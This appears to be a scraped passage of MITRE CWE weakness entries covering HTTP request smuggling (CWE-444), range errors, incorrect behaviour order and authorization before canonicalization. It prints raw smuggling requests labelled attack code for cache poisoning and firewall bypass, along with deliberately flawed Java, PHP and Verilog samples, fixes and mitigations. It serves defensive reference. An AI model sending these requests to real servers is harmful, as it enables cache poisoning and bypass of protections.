Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Non-Repudiation
Access Control

Technical Impact: Unexpected State; Hide Activities; Bypass Protection Mechanism

An attacker could create HTTP messages to exploit a number of weaknesses including 1) the message can trick the web server to associate a URL with another URL's webpage and caching the contents of the webpage (web cache poisoning attack), 2) the message can be structured to bypass the firewall protection mechanisms and gain unauthorized access to a web application, and 3) the message can invoke a script or a page that returns client credentials (similar to a Cross Site Scripting attack).
+ Demonstrative Examples

Example 1

In the following example, a malformed HTTP request is sent to a website that includes a proxy server and a web server with the intent of poisoning the cache to associate one webpage with another malicious webpage.

(attack code)
 
POST http://www.website.com/foobar.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 54

GET /poison.html HTTP/1.1
Host: www.website.com
Bla: GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive

When this request is sent to the proxy server, the proxy server parses the first four lines of the POST request and encounters the two "Content-Length" headers. The proxy server ignores the first header, so it assumes the request has a body of length 54 bytes. Therefore, it treats the data in the next three lines that contain exactly 54 bytes as the first request's body:

(result)
 
GET /poison.html HTTP/1.1
Host: www.website.com
Bla:

The proxy then parses the remaining bytes, which it treats as the client's second request:

(attack code)
 
GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive

The original request is forwarded by the proxy server to the web server. Unlike the proxy, the web server uses the first "Content-Length" header and considers that the first POST request has no body.

(attack code)
 
POST http://www.website.com/foobar.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 54 (ignored by server)

Because the web server has assumed the original POST request was length 0, it parses the second request that follows, i.e. for GET /poison.html:

(attack code)
 
GET /poison.html HTTP/1.1
Host: www.website.com
Bla: GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive

Note that the "Bla:" header is treated as a regular header, so it is not parsed as a separate GET request.

The requests the web server sees are "POST /foobar.html" and "GET /poison.html", so it sends back two responses with the contents of the "foobar.html" page and the "poison.html" page, respectively. The proxy matches these responses to the two requests it thinks were sent by the client - "POST /foobar.html" and "GET /page_to_poison.html". If the response is cacheable, the proxy caches the contents of "poison.html" under the URL "page_to_poison.html", and the cache is poisoned! Any client requesting "page_to_poison.html" from the proxy would receive the "poison.html" page.

When a website includes both a proxy server and a web server, some protection against this type of attack can be achieved by installing a web application firewall, or using a web server that includes a stricter HTTP parsing procedure or make all webpages non-cacheable.

Additionally, if a web application includes a Java servlet for processing requests, the servlet can check for multiple "Content-Length" headers and if they are found the servlet can return an error response thereby preventing the poison page to be cached, as shown below.

(good code)
Example Language: Java 
protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

// Set up response writer object
...
try {
// check for multiple content length headers
Enumeration contentLengthHeaders = request.getHeaders("Content-Length");
int count = 0;
while (contentLengthHeaders.hasMoreElements()) {
count++;
}
if (count > 1) {
// output error response
}
else {
// process request
}
} catch (Exception ex) {...}
}

Example 2

In the following example, a malformed HTTP request is sent to a website that includes a web server with a firewall with the intent of bypassing the web server firewall to smuggle malicious code into the system.

(attack code)
 
POST /page.asp HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Length: 49223

zzz...zzz ["z" x 49152]
POST /page.asp HTTP/1.0
Connection: Keep-Alive
Content-Length: 30

POST /page.asp HTTP/1.0
Bla: POST /page.asp?cmd.exe HTTP/1.0
Connection: Keep-Alive

When this request is sent to the web server, the first POST request has a content-length of 49,223 bytes, and the firewall treats the line with 49,152 copies of "z" and the lines with an additional lines with 71 bytes as its body (49,152+71=49,223). The firewall then continues to parse what it thinks is the second request starting with the line with the third POST request.

Note that there is no CRLF after the "Bla: " header so the POST in the line is parsed as the value of the "Bla:" header. Although the line contains the pattern identified with a worm ("cmd.exe"), it is not blocked, since it is considered part of a header value. Therefore, "cmd.exe" is smuggled through the firewall.

When the request is passed through the firewall the web server the first request is ignored because the web server does not find an expected "Content-Type: application/x-www-form-urlencoded" header, and starts parsing the second request.

This second request has a content-length of 30 bytes, which is exactly the length of the next two lines up to the space after the "Bla:" header. And unlike the firewall, the web server processes the final POST as a separate third request and the "cmd.exe" worm is smuggled through the firewall to the web server.

To avoid this attack a Web server firewall product must be used that is designed to prevent this type of attack.

Example 3

The interpretation of HTTP responses can be manipulated if response headers include a space between the header name and colon, or if HTTP 1.1 headers are sent through a proxy configured for HTTP 1.0, allowing for HTTP response smuggling. This can be exploited in web browsers and other applications when used in combination with various proxy servers. For instance, the HTTP response interpreted by the front-end/client HTTP agent/entity - in this case the web browser - can interpret a single response from an adversary-compromised web server as being two responses from two different web sites. In the Example below, notice the extra space after the Content-Length and Set-Cookie headers.

(attack code)
 
HTTP/1.1 200 OK
Date: Fri, 08 Aug 2016 08:12:31 GMT
Server: Apache (Unix)
Connection: Keep-Alive
Content-Encoding: gzip
Content-Type: text/html
Content-Length : 2345
Transfer-Encoding: chunked
Set-Cookie : token="Malicious Code"

<HTML> ... "Malicious Code"
+ Observed Examples
ReferenceDescription
SSL/TLS-capable proxy allows HTTP smuggling when used in tandem with HTTP/1.0 services, due to inconsistent interpretation and input sanitization of HTTP messages within the body of another message
Chain: caching proxy server has improper input validation (CWE-20) of headers, allowing HTTP response smuggling (CWE-444) using an "LF line ending"
Node.js platform allows request smuggling via two Transfer-Encoding headers
Web servers allow request smuggling via inconsistent HTTP headers.
HTTP server allows request smuggling with both a "Transfer-Encoding: chunked" header and a Content-Length header
HTTP server allows request smuggling with both a "Transfer-Encoding: chunked" header and a Content-Length header
+ Potential Mitigations

Phase: Implementation

Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].

Phase: Implementation

Use only SSL communication.

Phase: Implementation

Terminate the client session after each request.

Phase: System Configuration

Turn all pages to non-cacheable.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1398Comprehensive Categorization: Component Interaction
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Theoretical

Request smuggling can be performed due to a multiple interpretation error, where the target is an intermediary or monitor, via a consistency manipulation (Transfer-Encoding and Content-Length headers).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERHTTP Request Smuggling
WASC26HTTP Request Smuggling
WASC27HTTP Response Smuggling
+ References
[REF-433] Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin. "HTTP Request Smuggling". <https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf>. URL validated: 2023-04-07.
[REF-1273] Robert Auger. "HTTP Response Smuggling". 2011-02-01. <http://projects.webappsec.org/w/page/13246930/HTTP%20Response%20Smuggling>.
[REF-1274] Dzevad Alibegovic. "HTTP Request Smuggling: Complete Guide to Attack Types and Prevention". 2021-08-23. <https://brightsec.com/blog/http-request-smuggling-hrs/>.
[REF-1275] Busra Demir. "A Pentester's Guide to HTTP Request Smuggling". 2020-10-15. <https://www.cobalt.io/blog/a-pentesters-guide-to-http-request-smuggling>.
[REF-1276] Edi Kogan and Daniel Kerman. "HTTP Desync Attacks in the Wild and How to Defend Against Them". 2019-10-29. <https://www.imperva.com/blog/http-desync-attacks-and-defence-methods/>.
[REF-1277] James Kettle. "HTTP Desync Attacks: Request Smuggling Reborn". 2019-08-07. <https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn>. URL validated: 2023-04-07.
[REF-1278] PortSwigger. "HTTP request smuggling". <https://portswigger.net/web-security/request-smuggling>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Name, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Name, Related_Attack_Patterns
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Other_Notes, Potential_Mitigations, Theoretical_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Related_Attack_Patterns
2022-06-28CWE Content TeamMITRE
Extended the abstraction of this entry to include both HTTP request and response smuggling.
2022-06-28CWE Content TeamMITRE
updated Alternate_Terms, Common_Consequences, Demonstrative_Examples, Description, Name, Observed_Examples, References, Taxonomy_Mappings
2022-10-13CWE Content TeamMITRE
updated Related_Attack_Patterns
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11HTTP Request Smuggling
2008-09-09Interpretation Conflict in Web Traffic (aka 'HTTP Request Smuggling')
2009-05-27Inconsistent Interpretation of HTTP Requests (aka 'HTTP Request Smuggling')
2022-06-28Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')

CWE-118: Incorrect Access of Indexable Resource ('Range Error')

Weakness ID: 118
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not restrict or incorrectly restricts operations within the boundaries of a resource that is accessed using an index or pointer, such as memory or files.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.970SFP Secondary Cluster: Faulty Buffer Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is a level-1 Class (i.e., a child of a Pillar). It might have lower-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP8Faulty Buffer Access
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Name, Relationships
2009-03-10CWE Content TeamMITRE
updated Description
2009-05-27CWE Content TeamMITRE
updated Name
2009-10-29CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Name, Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Time_of_Introduction
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-09-09Range Errors
2009-05-27Improper Access of Indexable Resource (aka 'Range Error')
2017-05-03Improper Access of Indexable Resource ('Range Error')

CWE-696: Incorrect Behavior Order

Weakness ID: 696
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product performs multiple related behaviors, but the behaviors are performed in the wrong order in ways which may produce resultant weaknesses.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.691Insufficient Control Flow Management
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.179Incorrect Behavior Order: Early Validation
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.408Incorrect Behavior Order: Early Amplification
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.551Incorrect Behavior Order: Authorization Before Parsing and Canonicalization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1190DMA Device Enabled Too Early in Boot Phase
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1193Power-On of Untrusted Execution Core Before Enabling Fabric Access Control
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1280Access Control Check Implemented After Asset is Accessed
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Alter Execution Logic

+ Demonstrative Examples

Example 1

The following code attempts to validate a given input path by checking it against an allowlist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

(bad code)
Example Language: Java 
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
File f = new File(path);
return f.getCanonicalPath();
}

The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of "/safe_dir/../" that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonicized the path would become just "/".

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

(good code)
Example Language: Java 
String path = getInputPath();
File f = new File(path);
if (f.getCanonicalPath().startsWith("/safe_dir/"))
{
return f.getCanonicalPath();
}

Example 2

This function prints the contents of a specified file requested by a user.

(bad code)
Example Language: PHP 
function printFile($username,$filename){

//read file into string
$file = file_get_contents($filename);
if ($file && isOwnerOf($username,$filename)){
echo $file;
return true;
}
else{
echo 'You are not authorized to view this file';
}
return false;
}

This code first reads a specified file into memory, then prints the file if the user is authorized to see its contents. The read of the file into memory may be resource intensive and is unnecessary if the user is not allowed to see the file anyway.

Example 3

Assume that the module foo_bar implements a protected register. The register content is the asset. Only transactions made by user id (indicated by signal usr_id) 0x4 are allowed to modify the register contents. The signal grant_access is used to provide access.

(bad code)
Example Language: Verilog 
module foo_bar(data_out, usr_id, data_in, clk, rst_n);
output reg [7:0] data_out;
input wire [2:0] usr_id;
input wire [7:0] data_in;
input wire clk, rst_n;
wire grant_access;
always @ (posedge clk or negedge rst_n)
begin
if (!rst_n)
data_out = 0;
else
data_out = (grant_access) ? data_in : data_out;
assign grant_access = (usr_id == 3'h4) ? 1'b1 : 1'b0;
end
endmodule

This code uses Verilog blocking assignments for data_out and grant_access. Therefore, these assignments happen sequentially (i.e., data_out is updated to new value first, and grant_access is updated the next cycle) and not in parallel. Therefore, the asset data_out is allowed to be modified even before the access control check is complete and grant_access signal is set. Since grant_access does not have a reset value, it will be meta-stable and will randomly go to either 0 or 1.

Flipping the order of the assignment of data_out and grant_access should solve the problem. The correct snippet of code is shown below.

(good code)
Example Language: Verilog 
always @ (posedge clk or negedge rst_n)
begin
if (!rst_n)
data_out = 0;
else
assign grant_access = (usr_id == 3'h4) ? 1'b1 : 1'b0;
data_out = (grant_access) ? data_in : data_out;
end
endmodule
+ Observed Examples
ReferenceDescription
Chain: Creation of the packet client occurs before initialization is complete (CWE-696) resulting in a read from uninitialized memory (CWE-908), causing memory corruption.
file-system management programs call the setuid and setgid functions in the wrong order and do not check the return values, allowing attackers to gain unintended privileges
C++ web server program calls Process::setuid before calling Process::setgid, preventing it from dropping privileges, potentially allowing CGI programs to be called with higher privileges than intended
Chain: lexer in Java-based GraphQL server does not enforce maximum of tokens early enough (CWE-696), allowing excessive CPU consumption (CWE-1176)
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.748CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1171SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingPOS36-CCWE More AbstractObserve correct revocation order while relinquishing privileges
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-09-09
(CWE 1.0, 2008-09-09)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Description
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships, Weakness_Ordinalities
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Observed_Examples
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Description, Observed_Examples, Relationships
2021-03-15CWE Content TeamMITRE
updated Observed_Examples
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization

Weakness ID: 551
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
If a web server does not fully parse requested URLs before it examines them for authorization, it may be possible for an attacker to bypass authorization protection.
+ Extended Description
For instance, the character strings /./ and / both mean current directory. If /SomeDirectory is a protected directory and an attacker requests /./SomeDirectory, the attacker may be able to gain access to the resource if /./ is not converted to / before the authorization check is performed.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.696Incorrect Behavior Order
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.863Incorrect Authorization
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1212Authorization Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.438Behavioral Problems
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Potential Mitigations

Phase: Architecture and Design

URL Inputs should be decoded and canonicalized to the application's current internal representation before being validated and processed for authorization. Make sure that your application does not decode the same input twice. Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.949SFP Secondary Cluster: Faulty Endpoint Authentication
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
